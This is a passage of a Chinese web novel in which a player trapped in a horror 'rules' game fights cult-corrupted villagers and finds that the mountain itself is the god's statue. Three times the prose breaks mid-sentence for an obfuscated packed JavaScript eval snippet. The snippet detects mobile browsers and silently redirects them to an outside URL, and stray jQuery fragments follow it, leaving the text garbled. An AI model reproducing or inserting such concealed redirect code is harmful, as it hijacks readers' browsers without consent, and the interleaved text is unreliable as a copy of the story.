出了新手怪谈，仅仅不违反规则已经不能保证一定安全，规则中多了隐藏的“陷阱”。 但韩舟没有告诉他们这些，就算告诉他们了，他们也不见得会相信。 “没有为什么，如果不想死，最好不要这样做。”韩舟不想过多解释，只是丢下这句话便出门去。王铁柱看着韩舟离去，张了张口想说什么却没来得及。 迈出门槛的时候，韩舟感到那道恶意的目光又落在了她的背上。她抖了抖肩，想要把这道目光甩开。 她刚走了一段路，就听到背后有人喊她的名字。是王铁柱追了上来。 “我总觉得大齐他变得有些奇怪。”王铁柱看着韩舟有些欲言又止，“他刚才硬是拉着我要我跟田儿向祂祈祷…” “你没这么做吧？”韩舟盯着他的眼睛。 “没有，我就算再笨，看到那晚那些怪物的样子，也知道… “别说。”韩舟打断了他接下来要说出口的话。 “怎么…”王铁柱愣住。 “不要提祂。” 第三条规则：不要说对“祂”不敬的话，“祂”会听到。既不能向他祈祷，也不能对他不敬，最好的方法是不要提祂。 “好，不提就不提，韩姑娘，你说大齐他是怎么…” “铁柱哥，韩姑娘，你们在说什么悄悄话呢。”王大齐冷不丁出现在二人后面，一脸笑嘻嘻，“带我说一个呗。” “我们…”王铁柱骤然看到王大齐出现被惊了一下，口齿变得不利索起来。韩舟则满脸无所谓地瞟了他一眼，露出一个人畜无害的笑容：“我们在说你啊。” “说我？”王大齐摸了摸鼻子，奇道：“说我什么？” “说…你在悬崖下遇到了什么。”韩舟慢悠悠道。 “嗨，想知道悬崖下有什么，你们直接问我不就行了吗。”王大齐脸上笑意加深，“当时啊，我往下爬了一段，就在崖边发现一块凸起的大石头，那石头推开里头是一个臭烘烘的洞穴，我往里一看，嚯，全他娘的是腐烂的尸体，身上的衣服挺像昨晚遇到的那些人的，给我吓一大跳，这才脚底打滑差点摔下去。” 自从王大齐从悬崖下上来后，整个人散发着一股让韩舟危险雷达狂响的气息，她不确定王大齐说的是不是实话，又问：“除了尸体还有别的了吗？” “没了啊。”王大齐摊摊手，“不过就当时那情况我也没时间细看，要不你自己去看看。”说到这，王大齐笑容变得更大了，露出了发黄的牙齿。 “不用了…”那地方一听起来就跟危险，何况下悬崖等于把自己的生死交到别人手上，韩舟暂时没有找死的习惯。 “我再去别的屋看看。”说罢韩舟看向王铁柱，轻声说，“记住我的话。”王铁柱面色凝重地点了点头。 王大齐看到了他们这点小动作，却也没说什么，依旧笑容满面。他一把拽过王铁柱，“那你忙，我们不打扰了。”随后拉着他回了之前那屋。 韩舟看着他们离去的背影，心里总隐隐不安，明明青天白日，却阴风阵阵，寒意愈浓。 8. 遗失村落（四） 这已经是韩舟搜索的第五间屋子了。 她将每一间屋翻了个彻底，期间除了大罐小罐的腐肉，并没有发现什么别的特殊的。 韩舟内心有点烦躁，加快了翻找的速度，到了晚上那些信徒又会出现，不知道还能不能像昨晚一样躲过去了。她开始挪动柜子，一不小心撞到了墙壁，发出的声音有点奇怪，像是…一面空心墙。 韩舟手指抚上墙壁，蜷起食指敲了敲墙壁，里面果然发出了回响声。要不要砸开来看看，里面说不定有什么东西？一念至此，说干就干，韩舟召唤出了板砖，往墙上使劲敲了过去。 墙壁没一会儿就被韩舟砸出个大窟窿，一只死鸡掉了出来，“啪”一声摔在地上，这只死鸡羽毛上的血迹已经凝固。这墙里竟塞满了鸡和狗的尸体，都干瘪的不成样子。 一般农村都会养些鸡和狗，难怪这村连根鸡毛和狗毛都没见到，敢情都砌在墙里了。 在臭气熏天的尸体中夹杂了一本小册子，已经被血浸染透了。韩舟捏着鼻子把它取了出来。 韩舟翻开册子，上面布满了污渍和血渍，字迹被遮挡了大部分，剩余的也大都模糊不清，只勉强能辨认出几句话： “这世上根本没有…，如果有，我的父母怎么会病死？” “病了，这个村子都病了。” “那个人说，祂能拯救我们。” “不要猪牛羊，也不要鸡和狗，祂到底想要什么？” “都不重要了，因为我也要死了…” 韩舟正欲辨认更多的字迹时，隔壁骤然传来一声大叫。 “王大齐，你干什么！”听着是王铁柱的声音，“你冷静点！你…别过来…啊！” “爹爹！！”是王田儿的喊声，声音中透出极度恐惧，仿佛看到了什么惊悚异常的场面。 韩舟飞速将册子揣进衣服里，冲了出去，一脚踹开隔壁屋的门，只见王铁柱捂着手臂跌坐在院里的地上，地上有一摊鲜血，他痛得五官皱成一团。王田儿跪坐在他的身边，小脸上满是泪水。 王大齐从屋里缓缓走出，他手中举拿着一把刀，鲜血顺着刀尖向下流淌，低落在土地里，晕出一片殷红，脸上带着古怪又疯狂的笑容：“我让你向祂祈祷，你为什么不干？” “王大齐…你疯了…”王铁柱忍着疼痛艰难开口。 “我让你向祂祈祷，你为什么不干？”王大齐重复着这句话，一步一步逼近王铁柱，手里的刀高高举起。 韩舟看不下去了，她知道自己再不出手，王铁柱得玩完。 她一板砖扔过去，哐当一声砸在了王大齐的手上，将他手中的刀砸落在地。板砖在空中拐了个弯又自动回到了韩舟手里。 王大齐的手流血了，他死死盯着韩舟，笑容却未消失：“你们都会是祂的！一个都跑不掉！” …王大齐是被污染了吗？ 是什么时候？他掉下悬崖那次？他向“祂”祈祷了吗，还是… 韩舟的思绪飞速转动，可是王大齐没有给她思考的时间，他又举起了刀，向她冲了过来。 韩舟将砖头对准了他的脑袋，正欲拍下。 “韩姑娘，不要啊！”王铁柱的声音响起，韩舟拿板砖的手顿了顿，无奈地拐了个弯敲在了王大齐的肩膀上。 王大齐摔倒在地，扑腾了几下似要爬起，被韩舟一脚踩在脊背上，片刻后不动了。 韩舟大步走到王铁柱身旁，取出之前从商城买的伤药用在了王铁柱手臂上，他手上的流血立刻止住了，伤口飞速愈合。王铁柱瞪大双眼望着自己很快变成一条疤的伤口：“韩姑娘，太感谢你了，你…你是神仙吗？” “神仙不敢当，平平无奇社会主义接班人罢了，宗旨是为人民服务。”韩舟随口扯道，她知道王大齐肯定听不懂，王大齐果然一脸懵地望着她。 我可真是圣母心发作啊…韩舟不禁吐槽自己，居然把伤药用在一个npc上，这在上一周目游戏是不可能发生的事。但是这一次，这次的npc太像玩家了，太像…一个人了。韩舟作为一个清澈不愚蠢的大学生，自然不能对人见死不救。 是不是游戏又迭代升级了？居然把npc做的仿真成这种程度，真有点恐怖谷效应。 “大齐他…”王铁柱欲言又止，韩舟再怎么也算她救命恩人，但王大齐是他兄弟，他心里感激韩舟又关心王大齐，一时间矛盾不已。 “他没事，晕了而已。”韩舟摇了摇手中的板砖，“不过他身上可能出现了和王二牛一样的情况。” “大齐他也会变成怪物吗？”王铁柱眉毛拧成了麻花。 “大概率会吧。”韩舟也没有百分百确定，“你如果不忍心杀死他，那我们就离他远一点，省的被他砍了。” 王铁柱爬起身，拉着王田儿跟着韩舟出了门，他一步一回头看着晕在地上的王大齐，“不用把他绑起来吗？” “不用，因为变成怪物以后，绳子是绑不住他的，很容易就能被他挣断。”韩舟想过赶尽杀绝，但她其实对付一个两个怪物轻而易举，问题是这次怪物数量太多，多他一个少他一个都没差。 他们走出几百米开外，韩舟才问王铁柱：“刚才究竟发生了什么，王大齐他是突然发难的吗？” “大齐他非要我和王田儿祈祷，我没同意，也没让田儿听他的，他唠叨了半天，突然冲进里屋拿了一把刀出来，对着我就砍。”王铁柱想起王大齐刚才发狂的样子，还心有余悸，起了一身鸡皮疙瘩。 韩舟捏了捏下巴，想起那本册子里写的“不要猪牛羊，不要鸡和狗…”以及规则中的第五条：信徒和供品，你只能成为其中之一。 “不会吧…这么重口的吗…”韩舟领悟到了什么，感到胃里一阵翻江倒海。 她抬头看了看天色，已经开始变得昏暗，天际残留着夕阳的余辉。 “今晚会比昨晚更危险。”韩舟脸色变得凝重，她看向王铁柱，“我丑话说在前头，有危险我能帮你一把自然会帮，但如果你顾及你那两个兄弟磨磨唧唧拖累我，那我到时就不会管你死活了。” “我明白。”王铁柱知道韩舟的厉害，点头如捣蒜，他拍了一下王田儿的肩膀，“一会儿发生什么事，都要听韩姐姐的，知道吗？” “知道， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365261|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爹爹。”王田儿乖巧回答。 看到王铁柱和王田儿的回应，韩舟很满意，像领导一样背起手，享受着发号施令的感觉，“今天我们不能再躲屋子里了，万一被怪物找到，就是瓮中捉鳖，逃都没法逃。” “那我们？”王铁柱发出诚挚的疑问。 韩舟指了指天。 …… 夜色降临，王铁柱抱着王田儿一脸无语地看着韩舟，“韩姑娘，你说的躲藏的好地方就这？” “不好吗？我觉得可隐蔽了，是我深思熟虑才想到的呢。”韩舟坐在屋脊上，翘个二郎腿，那悠闲的姿态仿佛在度假。 “好是好…但…如果被怪物发现了，我们也不太好逃啊…”王铁柱观察着韩舟的神色，小心翼翼开口。 “这有什么，从这个屋顶再跳到另一个屋顶呗。”村里的房屋都比较矮，靠的也很近，她这副经过游戏强化的身体，跳来跳去也挺方便的。她看了一眼比她壮了几倍的王铁柱，“怎么，你跳不动？” “那倒不是…只是带着田儿我…”王铁柱一脸为难。 “田儿就交给我，你放宽心。”韩舟把王田儿接了过来抱在手里，一个七八岁的小女孩能有多重。 “这多不好意思。”王铁柱嘴上说着不好意思，却面露喜色，心里的大石头落了地，韩舟的本事他是见过的，绝对能照顾好王田儿。 “嘘，别说话了。”韩舟将食指竖起靠近唇边，夜幕已完全落下，如一片浓墨压在他们的头顶，没有月亮，星光也微弱。 韩舟俯下身子，将身体藏匿在屋脊后，王铁柱也有样学样，只不过他身材过于高壮，不能完全被遮挡住。 远处传来了脚步声，越来越近，竟是朝他们这过来了。 韩舟把王田儿按进怀里，微微探出头，只见怪物们列成了一个整齐的方阵，缓缓朝前行进。 王大齐，王二牛赫然在列，王二牛三只眼在脸上一起眨着，眼珠四下转动，王大齐却五官正常，只是面色潮红，神情激动。 他们像昨日一样，四散进了屋，不一会儿又端着罐子出来了。 接下来他们应该是要去田地里祭祀“祂”了。韩舟在心里倒计时，只等他们离开。 其中一个怪物猛然发出了一声咆哮，接着他高举手里的罐子向其他怪物示意。 他的罐子里是空的。 “没有…供品了。”怪物开口，声音如从牙缝中挤出，湿滑阴冷。 “要制造供品。” “要制造供品。” 怪物重复着这句话，朝着队伍里唯一五官正常的王大齐走去！ 霎时间，王大齐身边的王二牛手动了，他猛地把王大齐推翻在地！王大齐坐倒在冷硬的石板路上，面露惊恐，那是属于人类的表情。 “不要…放过我。”王大齐喃喃道，面色惨白如纸，脸上肌肉因为恐惧而不断抽动。 难道王大齐还保留了人类的神智？他并没有被完全污染？韩舟有些惊讶地看着这一幕。 此时另一个怪物缓步走了过来，他手里拿着一把闪烁着寒光的砍刀，冲着王大齐高高举起… 9. 遗失村落（五） “大…”王铁柱差点惊呼出声，韩舟眼疾手快捂住了他的嘴。 “闭…嘴…”韩舟从牙缝里挤出这两个字，不管王大齐是不是还真的残留人类神智，这个时候出去救他无异于送死。 王铁柱没有挣扎，微微闭上眼又睁开，眼眶里有泪光闪烁，他将头转向韩舟，压低声音道：“韩姑娘，如果你能出去，能不能帮忙把田儿送回王家村，代我跟田儿她娘说一声，对不起，以后只能靠她一人把田儿抚养长大了…” ？？？韩舟心里有无数个黑人问号，王铁柱这是干什么？荒村托孤？ “放心，我不会拖累你，等我下去的时候，你就赶紧带着田儿走。”王铁柱握了握拳头，神色坚毅如即将上战场的兵，颇有种视死如归的味道。 大哥，你这时候瞎逞什么英雄…韩舟还待劝阻，王铁柱已经一个纵身从屋顶跃下！ 他大爷的，韩舟想骂人。 “大齐！哥来救你了！”王铁柱落地后大吼一声，冲向向王大齐举刀的怪物，一个泰山压顶将他按倒在地上。 原本呆愣坐在地上的王大齐见状翻身而起，夺过怪物手中的刀，砍倒离自己最近的两个怪物，伸手将王铁柱拉起。 倒在地上的怪物身上的伤口迅速愈合，摇摇晃晃又站了起来，咆哮着向王铁柱和王大齐扑去。 “爹爹…”韩舟怀里的王田儿忍不住出声，随后看了韩舟一眼，咬紧了嘴唇，她知道不能给韩舟添麻烦。 算了…好人做到底吧…韩舟认命地抱起王田儿，也从屋顶上跳了下来，抡起板砖“哐哐”两下拍倒了攻击王铁柱的怪物，把王田儿塞进他怀里：“你们先跑，我来拖住怪物。” “韩姑娘…”王铁柱面露愧色，犹豫着没动。 “别磨磨唧唧了，就你们这打也打不过的，留下来拖我后腿，放心，等你们走了我自有办法脱身。”韩舟冲他摆了摆手。 “我…”王铁柱还待说什么，王大齐已经拉住了他的胳膊，“听她的，赶紧走。”说罢便硬拽着王铁柱往远处跑去。 韩舟转身面对着渐渐把她包围的怪物，深吸一口气，粲然一笑，吐出一句经典台词，“来吧，你们是一个一个上，还是一起上？” ……… 王铁柱被王大齐拉着一路狂奔，他听见风在耳边呼啸，心跳如擂鼓，跑着跑着他们在一间屋子前停了下来。 王大齐推门而入，把屋里一个柜子推离原位，露出了后面的地窖，他俯下身，将地窖的门打开，抬起头看向王铁柱：“铁柱哥，快进去。” “大齐你这是…” “他们已经来这个地窖取过供品了，今晚不会再来，而且这地窖修的很坚固，就算运气不好被他们发现我们躲在里面，一时半会也攻不进来，只要撑到天亮我们就安全了。”王大齐解释道。 “可…”王铁柱总觉得有些说不出的心慌。 “铁柱哥是信不过我吗？”王大齐望着王铁柱，眼睛亮的出奇。 “我信…”王铁柱有些羞愧，他怎么能怀疑自己的兄弟呢！ “信就好。铁柱哥和田儿先进去，我来垫后。”王大齐拍了拍地窖旁边的地面，溅起几粒尘土。 王铁柱不再多话，顺着地窖边上的梯子爬了下去，腐臭之气迎面扑来，熏的他一个哆嗦，他也只能暂且忍耐，等双脚落在地面上，他仰起头，伸手把趴在地窖边缘的王田儿抱了下来。 看他们父女俩都安然无恙进了地窖，王大齐将手里的砍刀掷了进来，顺着梯子爬下几步，“啪嗒”一下把地窖门盖上，把拴插上，随后跳下梯子，稳稳落地，看着王铁柱咧嘴一笑。 ……… 韩舟这边又用板砖拍倒了几个怪物，尸体在她面前堆在一块像座小山，形成了道天然屏障。 “呼…”韩舟喘着粗气，擦了擦额头的汗水，其实这些怪物攻击力尚可，就是数量太多了…她实在扛不住这车轮战。 王铁柱他们现在已经躲起来了吧？自己对这些npc已经仁至义尽了，是时候撤退了。 韩舟看了眼还在试图向她扑过来的怪物，高抬起腿，一溜烟跑了。 ……… 某屋地窖里。 因为害怕说话声会引来怪物，王铁柱三人都保持着沉默。 过了一会儿，王铁柱率先打破了寂静：“大齐，你说韩姑娘会不会有危险，我们要不要出去帮她？” “别了吧，那小娘儿们凶悍着呢，我俩加在一起都不一定能打的过她，出去干嘛？”王大齐满不在乎地说道。 “可她毕竟是为了救我们，要是她出了什么事…”王铁柱还是不死心，王田儿也轻道：“爹爹说得对，我们不能忘恩负义。” “呵…”王大齐嗤笑一声，“那不如我们求求神保佑她如何？” “大齐你…” “我开玩笑的。”王大齐咧开了嘴，嘴角扬起了一个诡异的弧度。 王铁柱终是站起身：“田儿乖乖跟大齐叔呆在这里。爹出去看看。”说罢便走到出口处，一手抓住梯子准备向上爬。 “铁柱哥，我觉得身上好痒啊，还有些烫。”王大齐的声音从背后传来，王铁柱停下回头看他，只见他不安分地扭动着身体，一手拉扯着胸口的衣服。 “痒？是不是有虫子？我来帮你看看。”王铁柱转身走到王大齐跟前，发现他胸前的衣服微微鼓起，里面好像真有什么东西在蠕动，于是解开了他的衣服。 等看清王大齐胸前的东西后，王铁柱如遭雷劈，双手都颤抖起来。 王大齐的胸口长着两只眼睛和一只嘴巴。 就像一张人脸。 王铁柱后背被冷汗湿透了，手抖得越来越厉害，他看着王大齐，眼里闪烁着惊恐。 “大齐，你…你…” “我什么？”王大齐嘴咧的更大了，“铁柱哥，不要害怕，很快你就会变得跟我一样了。” 王大齐将手放在了不断哆嗦的王铁柱头顶，一字一句缓缓道： “你现在会恐惧，会痛苦，只是因为你没有信仰祂，没有向祂臣服。” “祂能带给我们无尽的寿命和永恒的安宁。” …… 王大齐的声音在王铁柱脑海里嗡嗡嗡的响，他的意识开始混沌不清。 他听见战鼓声响，他看见四周烟尘弥漫，天边残阳如血。 他置身古战场中，一位高举巨斧的神将正穿过风沙，向他走来… 他心中有一种冲动，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365262|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要跪倒在祂脚边，他要亲吻祂的双脚，他要永远向祂臣服，做祂最忠实的信徒… “爹爹！你醒醒。”王田儿的声音如一捧清水将他泼醒，王铁柱从幻境回到了现实，他低头看了着紧紧搂着他的王田儿，想起了韩舟的提醒，将嘴唇咬出了血。 他不能留在这里，他要回家，带着田儿一起回去！ “大齐，我听不懂你在说什么。”王铁柱眼睛湿润了，“不要说这些糊话了，等这一切过去，我们一起回王家村好不好？” “铁柱哥。”王大齐的笑容不变，“回不去了，从我们踏进这村子那一刻开始，就回不去了。” “为什么要抵抗呢？”王大齐的语气饱含惋惜，“如果你不能臣服于祂，我就只能把你献给祂。” 王大齐缓缓捡起了地上的砍刀。 “大齐不…”还没等王铁柱说完，王大齐已挥刀砍下了他的手臂！ 鲜血喷涌而出，王铁柱痛地跪倒在地上。王大齐随即又举起砍刀，这次是砍向王田儿！王铁柱忍住剧痛将王田儿推开，这一刀又砍在了他的背上，利刃沒入血肉的声音在狭小的地窖内清晰可闻。 “砰！”只听一声巨响，地窖的门碎裂成石块砸了下来，一个身着粗布麻衣的女子踩着石块从天而降，两束青丝在空中飘扬，正是韩舟！ “好家伙，我就离开这么会儿功夫，又给我搞事。”韩舟看着这满地鲜血，还有倒在血泊中的王铁柱，皱了皱眉头，随手向他扔过去一个伤药。 “坚持住，别死了。” “韩…姑娘…”王铁柱吃力开口。 “别废话，我要揍这个怪物了，这次再拦着我连你一起揍。”韩舟气呼呼开口，一板砖抽向举刀冲向她的王大齐。 “韩姑娘…小心…他会制造幻觉…”王铁柱终于把一句话完整说出。 幻觉？哦，就是污染嘛，就如《血色嫁衣》怪谈里女鬼给她制造的幻境，这种幻境会污染人的意识，让人对自己产生错误的认知，逐渐被怪谈同化。 “别担心，这个我比你熟。”韩舟一板砖抽在王大齐的手上，把他手中的刀打落，又一板砖抽在他的脑袋上… 战斗结束的很快。 没过多长时间，王大齐已经躺在地窖的角落里不动了。 韩舟叉着腰大口喘气，这接二连三的干架可把她累坏了！ 王铁柱在王田儿的搀扶下，颤颤巍巍起身，背上的伤口已经愈合，只是这被砍断的手臂，是无法恢复了，他看着韩舟，感激之情溢于言表：“韩姑娘，谢谢你，又救了我们…你是怎么找到我们的？” “废话，那么多屋子就这一个柜子被挪开了，你当我眼瞎，怪物过来也是能找到的。”韩舟冲他翻了个白眼。 …王铁柱一脸尴尬：“对不起，韩姑娘，给你添麻烦了。” “道歉有用的话要捕快干嘛。”韩舟没好气地说，这个古代背景应该是有捕快的…吧？ …王铁柱彻底安静了。 过了片刻，他偷偷瞟了韩舟好几眼，终是小心翼翼开口：“我们…要出去吗” “出去吧，这里臭死了…”韩舟捏住鼻子，“换个地方，我要好好休息一下，你也给我说说刚才到底发生了什么。” 10. 遗失村落（六） “原来如此…”听了王铁柱刚才的经历，结合小册子上的记录，韩舟已经大致猜到了这个怪谈的故事内容。 这应该是个因祭祀神明而产生的悲伤故事，只不过这个神嘛，十有八九是个邪神，哪有正常的神要用人的血肉供奉的？ 规则里说：你相信世上有“祂”，“祂”便存在。这让韩舟想起某个动漫，里面的神明都因人的信仰供奉而存在，如果有一天人们不再记得神，神就会消失… 不去崇拜神，不去畏惧神，不因神而欢喜，不因神而愤怒，彻彻底底、完完全全地无视神，神就不复存在。 世上本没有神，是人创造了神。 韩舟把这些话告诉了王铁柱。 “世上本没有神，是人创造了神…”王铁柱喃喃道，“好大胆的想法。” “这有什么大胆的。”韩舟从小受的是唯物主义教育，觉得这再正常不过了。不过对于王铁柱来说，这无疑狠狠冲击了他的世界观。 “唉，如果能早点告诉二牛，大齐这点，他们就不会出事…”王铁柱的眼神暗淡了下去，默默看着自己的断臂，却不是在为失去的手臂悲伤。 韩舟不知道说点啥安慰他，只能轻轻拍了拍他的肩膀，两人并排坐在屋顶上沉默了一阵，一缕阳光轻轻落在他们脚边，韩舟抬起头向天空望去，夜幕边际逐渐被撕开一条口子，洒下万道霞光。 天亮了，他们安全了。 虽然暂且保住了性命，但怎样才能逃出去呢…她从怀中又掏出小册子翻开，继续分析上面的字迹。剩下的字很难辨认出了，都连不成一句话。她翻来覆去只能艰难地拼凑出几个字…“建一座”…“神像…” 神像？对了！是神像！ 神像通常被视为神明的化身。既然有人信仰神明，肯定会供奉神像。 第一条规则提到：“祂”会借助化身降临人间，这个化身大概率指的是神像。如果找到这座神像，打碎它，毁掉“祂”的化身，切断“祂”和这个村子的联系，是不是就能破解这个怪谈？ 韩舟兴奋地跳了起来，把旁边低头沉默的王铁柱吓了一大跳。 “韩姑娘？”王铁柱满脸疑惑地看着她。 “走！我们去找神像！”韩舟眼里有光点雀跃闪烁，“也许我们很快就能出去了。” 这村里的屋子都被他们搜过一遍，无论是柜子里，床底，还是地窖，都没被他们放过。可是没见到任何类似神像的东西。 神像在哪里？ 韩舟回想之前的行动轨迹，她打破过一面墙壁，在里面发现了鸡尸狗尸还有那本“日记”，神像会不会就在墙壁里？ 韩舟让王铁柱找来工具，两个人分头行动，一面一面地把墙敲破。 几个时辰过去了，墙壁碎成的石块散落一地，可是没有，一面都没有。除了零星几个鸡尸狗尸，神像的影子都没见着。 难道我猜错了？神像到底在哪？韩舟开始焦躁不安起来。在怪谈里时间不能耽搁太久，越久会越危险。 “规则六，白天比夜晚相对安全，但不是绝对的。”“信徒”一开始只在夜晚出现，那么后面呢，会不会白天也出现？“信徒”一开始只能用武力攻击他们，后面也许还会出现王大齐那样的… 对了，王大齐…被污染的王大齐似乎比其他“信徒”更厉害，不是指体力上的，而是他有更清晰的思维，还能制造幻觉污染人的意识，但是为什么呢，他和其他“信徒”有什么不同？ 他是从悬崖下上来后，整个人就变得不对劲了，他口中所说的悬崖峭壁上的山洞…那个山洞真的存在吗？里面有什么？神像会在那里吗？ 韩舟有些迟疑，那里无疑是很危险的，王大齐只去过一次，就被严重污染到这种程度。她的精神值虽比一般人高，但也不是绝对不会被污染。 但没有别的办法，只能赌一把了！韩舟下定了决心。 “什么？下悬崖？韩姑娘你疯了，你忘了大齐变成那个样子了吗？”王铁柱头摇得像个拨浪鼓，“不行，你不能去。” “我必须得去。”韩舟表情严肃起来，“神像很可能就在那里，而且留给我们的时间不多了…” 王铁柱默然，他知道韩舟的本事，虽然担心她，但目前看来也只有这一条路了。 他长叹一口气：“我们先去准备点工具吧。” 王铁柱寻了根绳子，还找来了一把砍刀用于防身，同时也为王田儿准备了一把匕首。 韩舟没有要王铁柱找的绳子，她不想把自己的生死交到别人手上。 来到崖边，她看了看天色，日头高悬，距离天黑还有很长一段时间，她看着王铁柱和王田儿的眼睛，郑重嘱咐道：“如果天黑之后我还没上来，怪物出现了，你们保护好自己，尽量拖延时间，拖到我打碎神像就好。” 她也知道就凭王铁柱和王田儿手中的武器根本伤不了怪物，可是她只有板砖这一个a级道具，在山洞里还不知会遇到什么样的危险，自然是不能给他们的。 想到这，韩舟把所有的疗伤药都拿出来，化成实体丢给了王铁柱和王田儿，“哪里受伤了就涂上这些药，伤口很快就能愈合…” 王铁柱自然知道这些伤药的厉害，用力点了点头，“韩姑娘你放心，我们一定努力坚持到你上来。” 韩舟不再多话，她抓起一根山藤系在腰上，又拽起另一根山藤，一步一步小心地向山崖下爬去… ……… 韩舟有个隐秘的想法，在心里埋藏的很深。 她被系统拉回《降神》游戏的那一刻，她虽然口中吐槽游戏，但内心其实是有几分欣喜的。 她早就厌倦了平淡无趣的生活，按部就班地读书，考上大学，以后还要按部就班地工作，结婚，生子… 多么无聊的人生啊！ 《降神》游戏给她乏味的生活带来了刺激和趣味，让她经历了许多现实生活中不可能遇到的事。 在怪谈游戏里就像坐过山车一样，她享受着不断攀升又极速下坠，心脏被上下拉扯的快感。 当然，她也害怕死亡，但对她来说，这份恐惧也是冒险的乐趣之一。 就比如现在，要在现实生活中，她怎么也不可能去爬悬崖的啊。 她一手抓着山崖上凸起的石块，一手拽着山藤，一脚踩在峭壁上，另一只脚缓缓寻找着其他支点。向下爬了大概十来步吧，她感到踩在了一块巨大的石头上。 她用脚在石头上左右蹭了几下，感觉到这个石头表面光滑，还有点…圆润？ 她向旁边移动了几步，继续向下爬，石块终于出现在她的视野之内，这石块竟然是个圆形。 韩舟用手碰了碰石块，发现这石块有些松动， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14365263|153015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她稍稍用力一推，石块发出一声轰响，竟自己向一旁缓缓移动。 这是一个…机关？ 石块移开后，露出了里面掩盖的东西，确如王大齐所说是一个洞穴。洞里黑黢黢的，有什么东西瞧不太清楚。 韩舟不再犹疑，纵身跳入洞穴。 一入洞里，一股腥臭之气就扑面而来，熏得她头昏脑胀。 韩舟恍惚中，眼前的场景变换了… 她回到了村庄中！ 此时的村庄不再是一片死寂，而是充斥着哭喊和求救之声。满地都是盖着草席的尸体，就这么横在地上，无人认领。有衣衫褴褛的村夫卧倒在路边，不时起身呕出几口混浊的水，满身脓疮的村妇抱着孩子坐在街边哭泣… 这里简直是人间炼狱！ 她想走过去帮忙，却生生穿过了那些人。 这些看来都是发生在过去的事… 就在这时，村口出现了一人，他着一身黑色衣裳，头戴斗笠，看不清长相，他踏入这个炼狱般的村子，却如闲庭信步。 倒在路边的村夫看到了这个人，奋力爬了过去，抓住他的裤脚，吃力地吐出几个字，“救救我…” 那人俯下身，抚摸着将死之人的头颅，缓缓开口，声音如古寺传来的钟声，震得韩舟耳朵里嗡嗡直响。 “只有祂能救你。” ……… 王铁柱和王田儿坐在悬崖边上，王铁柱手握砍刀，不时朝山崖下看上两眼，神色焦虑。 “韩姑娘怎么没了动静…”王铁柱有些按捺不住，站起身来，他想下悬崖看看了。 “爹爹，你听，好像有什么声音。”王田儿突然开口。 “什么声音？”王铁柱转过身来，竖起耳朵。 好像有…脚步声？ 下一刻他就看见远处有乌压压一群“人”向他们走来。 王铁柱瞪圆了眼睛。 为什么白天也会出现怪物？ ……… 韩舟走近那个黑衣斗笠人，想看清楚这人到底是何方神圣。 谁知她刚迈出几步，那个斗笠人竟抬头朝她这个方向望了一眼… 他在看我？心里刚冒出这个想法就被韩舟否决了，这怎么可能呢，这里应该是过去的记忆啊，韩舟心里升起一丝恐惧…下一瞬，她眼前的景象就扭曲了。 她又回到了山洞里。 阳光从洞外照射进来，她看清了洞里的景象。 这个洞空空如也，没有王大齐所说的尸体，更没有神像，里面只有杂草丛生，石壁上遍布苔藓。 为什么神像不在这里？韩舟的理智差一点被击溃，一阵窒息感涌上心头，难道之前关于化身的猜测都是错误的？ 不行，要冷静下来，韩舟深吸一口气再缓缓吐出，再仔细想想，还有什么遗漏的线索… 韩舟大脑飞速旋转着，日记…规则… 规则里说只要人说了对“祂”不敬的话，“祂”就能听到，信徒在祭拜“祂”的时候朝向四面八方…村民们信仰“祂”，却不把神像建在村中… 为什么这个以村庄为背景的怪谈会出现悬崖…怪谈里的场景当然有界限，但这界限一般不会以悬崖的样子呈现，更何况这悬崖是可以攀爬的。 韩舟明白了，洞里当然没有神像，因为这个洞穴只是神像的一只眼睛。 11. 遗失村落（完） 整座山才是神像的本体，这个村落建在了一座神像上。 韩舟无语到极点的时候就想笑，没有比这更地狱的笑话了。 如果神像是神龛里一座小小的石像，她只需要将它扔地上砸碎了，可当神像是一座山的时候该怎么办？难道要推倒整座山？这太异想天开了吧…她又不是愚公… 这只是个c级副本啊，就这么难了…还是说有别的通关的方法？绝望在她心中蔓延开。 一阵凉风吹进洞穴，石壁发出“咯咯”的声响，韩舟感到有道冰冷的目光从洞穴深处注视着她。 … 王铁柱挡在王田儿前面，手握砍刀一下又一下砍向扑过来的怪物，被砍倒的怪物很快又爬起来，脸上始终带笑，仿佛在嘲笑着他的不自量力。 韩舟给的伤药已经用了一大半了，他的手开始酸疼，汗水顺着额头滴落，但他不敢有一刻松懈，因为只要停下一瞬，他和田儿就可能葬身于此。 在怪物里他看到了王二牛的身影，他的眼神和那些怪物一样，疯狂中带着几分残忍，似是在欣赏猎物垂死挣扎的丑态。 